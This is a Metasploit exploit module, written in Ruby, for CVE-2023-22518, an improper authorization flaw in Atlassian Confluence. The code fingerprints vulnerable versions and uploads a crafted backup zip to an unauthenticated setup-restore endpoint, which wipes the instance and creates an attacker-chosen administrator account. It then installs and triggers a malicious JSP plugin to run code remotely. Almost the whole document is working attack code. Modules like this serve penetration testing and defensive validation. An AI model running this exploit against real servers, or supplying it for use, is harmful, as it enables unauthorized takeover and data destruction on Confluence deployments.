Atlassian Confluence Improper Authorization / Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version
  include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::PayloadPlugin

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Atlassian Confluence Unauth JSON setup-restore Improper Authorization leading to RCE (CVE-2023-22518)',
        'Description' => %q{
          This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a
          Confluence instance administrator account. Using this account, an attacker can then perform all
          administrative actions that are available to Confluence instance administrator. This module uses the
          administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code
          execution on the target in the context of the of the user running the confluence server.
        },
        'Author' => [
          'Atlassian', # Discovery
          'jheysel-r7' # msf module
        ],
        'References' => [
          [ 'URL', 'https://jira.atlassian.com/browse/CONFSERVER-93142'],
          [ 'CVE', '2023-22518']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Java',
            {
              'Platform' => 'java',
              'Arch' => [ARCH_JAVA]
            },
          ]
        ],
        'DisclosureDate' => '2023-10-31',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ CONFIG_CHANGES, ], # Major config changes - this module overwrites the confluence server with an empty backup with known admin credentials
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8090),
        OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),
        OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),
        # The endpoint we target to trigger the vulnerability.
        OptEnum.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', '/json/setup-restore.action', ['/json/setup-restore.action', '/json/setup-restore-local.action', '/json/setup-restore-progress.action']]),
        # We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.
        OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])
      ]
    )
  end

  def check
    confluence_version = get_confluence_version
    return Exploit::CheckCode::Unknown('Unable to determine the confluence version') unless confluence_version

    # Confluence Server and Confluence Data Center have the same vulnerable version ranges.
    if confluence_version.between?(Rex::Version.new('1.0.0'), Rex::Version.new('7.19.15')) ||
       confluence_version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('8.3.3')) ||
       confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.3')) ||
       confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.2')) ||
       confluence_version == Rex::Version.new('8.6.0')
      return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")
    end

    Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")
  end

  # https://passlib.readthedocs.io/en/stable/lib/passlib.hash.atlassian_pbkdf2_sha1.html
  def generate_hash(password)
    salt = OpenSSL::Random.random_bytes(16)
    iterations = 10000
    digest = OpenSSL::Digest.new('SHA1')

    key = OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, 32, digest)
    salted_key = salt + key
    encoded_hash = Base64.strict_encode64(salted_key)

    '{PKCS5S2}' + encoded_hash
  end

  def create_zip
    zip_file = Rex::Zip::Archive.new

    # exportDescriptor.properties needs to be present in the zip file in order for it to be valid.
    export_descriptor = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'exportDescriptor.properties'))
    zip_file.add_file('exportDescriptor.properties', export_descriptor)

    entities_xml = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'entities.xml'))
    entities_xml.gsub!('NEW_USERNAME_LOWER', datastore['NEW_USERNAME'].downcase)
    entities_xml.gsub!('NEW_USERNAME', datastore['NEW_USERNAME'])
    entities_xml.gsub!('NEW_PASSWORD_HASH', generate_hash(datastore['NEW_PASSWORD']))

    zip_file.add_file('entities.xml', entities_xml)
    zip_file.pack
  end

  def upload_backup
    zip_file = create_zip
    post_data = Rex::MIME::Message.new
    post_data.add_part('false', nil, nil, 'form-data; name="buildIndex"')
    post_data.add_part('Upload and import', nil, nil, 'form-data; name="edit"')
    post_data.add_part(zip_file, 'application/zip', 'binary', "form-data; name="file"; filename="#{rand_text_alphanumeric(8..16)}"")

    data = post_data.to_s
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT']),
      'method' => 'POST',
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'keep_cookies' => true,
      'headers' => {
        'X-Atlassian-Token' => 'no-check'
      },
      'vars_get' => {
        'synchronous' => 'true'
      }
    }, 120)

    fail_with(Failure::UnexpectedReply, "The endpoint #{datastore['CONFLUENCE_TARGET_ENDPOINT']} did not respond with a 302 or a 200") unless res&.code == 302 || res&.code == 200
    print_good("Exploit Success! Login Using '#{datastore['NEW_USERNAME']} :: #{datastore['NEW_PASSWORD']}'")
  end

  def exploit
    print_status("Setting credentials: #{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")

    # Exploit CVE-2023-22518 by uploading a backup .zip file to confluence with an attacker defined username & password
    upload_backup

    # Now with admin access, upload a .jsp plugin using the PayloadPlugin mixin to gain RCE on the target system.
    payload_endpoint = rand_text_alphanumeric(8)
    plugin_key = rand_text_alpha(8)
    begin
      payload_plugin = generate_payload_plugin(plugin_key, payload_endpoint)
      upload_payload_plugin(payload_plugin, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])
      trigger_payload_plugin(payload_endpoint)
    ensure
      delete_payload_plugin(plugin_key, payload_endpoint, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])
    end
  end
end